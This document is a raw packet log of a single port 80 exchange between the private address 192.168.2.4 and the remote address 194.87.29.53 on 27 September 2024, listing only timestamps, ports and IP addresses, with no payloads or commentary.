Sep 27, 2024 18:29:07.520807981 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520817995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520828009 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520840883 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520848989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520859003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520860910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520869970 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520883083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520899057 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520920992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.520925999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.520973921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.521584034 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521601915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521614075 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521750927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521761894 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521771908 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521781921 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521792889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521840096 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521857023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.521980047 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522119999 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522741079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522762060 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522773027 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522806883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522830963 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522891998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522905111 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522916079 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522927999 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522938013 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522967100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.522974014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522984982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.522995949 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523016930 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523029089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523226023 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523263931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523268938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523277044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523303032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523313046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523380995 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523397923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523408890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523421049 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523430109 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523433924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523444891 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.523444891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.523488045 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602437019 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602607012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602613926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602616072 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602628946 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602646112 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602649927 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602658033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602669001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602674007 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602682114 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602691889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602704048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602710009 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602736950 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602771044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602806091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602806091 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.602947950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602960110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602969885 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602981091 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.602992058 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603001118 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603002071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603013992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603024960 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603028059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603035927 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603044987 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603053093 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603061914 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603085041 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603104115 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603312016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603322983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603333950 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603344917 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603354931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603362083 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603368044 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603393078 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603405952 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603530884 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603542089 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603553057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603560925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603584051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603600979 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603630066 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603641033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603647947 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603657007 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603684902 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603703976 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603760004 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603770971 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603781939 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603799105 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603816032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603842020 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603908062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603918076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603934050 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.603961945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.603976011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.604054928 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604065895 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604077101 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604104042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.604129076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.604146957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604157925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604167938 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604182005 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604191065 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.604193926 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.604221106 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.604233027 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.605859041 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.605878115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.605887890 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.605911970 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.605926037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.605974913 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606004953 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606014967 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606021881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606041908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606056929 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606086016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606096983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606137037 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606852055 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606878042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606887102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.606903076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606915951 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.606930971 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607043982 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607055902 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607064962 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607075930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607085943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607095957 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607116938 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607134104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607208014 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607223988 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607234955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607245922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607251883 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607259035 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607268095 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607270956 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607284069 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607292891 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607315063 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607332945 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607497931 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607508898 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607518911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607528925 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607539892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607547998 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607548952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607574940 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607587099 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607712030 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607723951 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607733965 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607744932 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607757092 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607760906 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607769012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607779980 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607788086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607806921 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607817888 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.607954979 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607966900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607978106 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.607990026 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608009100 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608026028 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608051062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608062029 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608072042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608081102 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608097076 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608119011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608758926 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608771086 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608782053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608792067 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608808994 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608815908 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608819008 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608835936 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608851910 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608860016 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608870983 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.608901024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.608922958 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609445095 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609456062 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609466076 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609498024 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609505892 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609518051 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609524012 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609535933 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609546900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.609549046 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609564066 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609574080 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.609592915 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610110998 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610129118 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610136986 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610162973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610176086 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610189915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610200882 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610233068 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610244989 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610249043 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610255957 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610266924 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.610296011 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.610312939 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689258099 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689285040 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689295053 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689357042 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689368010 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689379930 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689430952 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689441919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689441919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689441919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689441919 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689460993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689467907 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689491987 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689508915 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689533949 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689558029 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689594984 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689608097 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689619064 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689630985 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689646006 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689671993 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689753056 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689764977 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689775944 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689786911 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689805031 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689817905 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689846992 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689877033 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689888954 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689898968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689910889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.689929008 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.689954042 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690099955 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690110922 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690121889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690134048 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690146923 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690146923 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690160036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690165997 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690174103 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690187931 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690218925 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690376043 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690387011 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690397978 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690408945 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690419912 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690426111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690433025 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690438986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690445900 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690466881 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690494061 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690547943 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690589905 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690596104 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690601110 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690639973 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690654039 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690684080 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690696001 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690706968 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690718889 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690732956 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690761089 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690764904 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690812111 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.690983057 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.690994024 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691004992 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691035986 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.691055059 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.691131115 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691143036 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691154003 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691164017 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.691181898 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.691210032 CEST	60865	80	192.168.2.4	194.87.29.53
Sep 27, 2024 18:29:07.692784071 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692795038 CEST	80	60865	194.87.29.53	192.168.2.4
Sep 27, 2024 18:29:07.692806005 CEST	80	60865	194.87.29.53	192.168.2.4
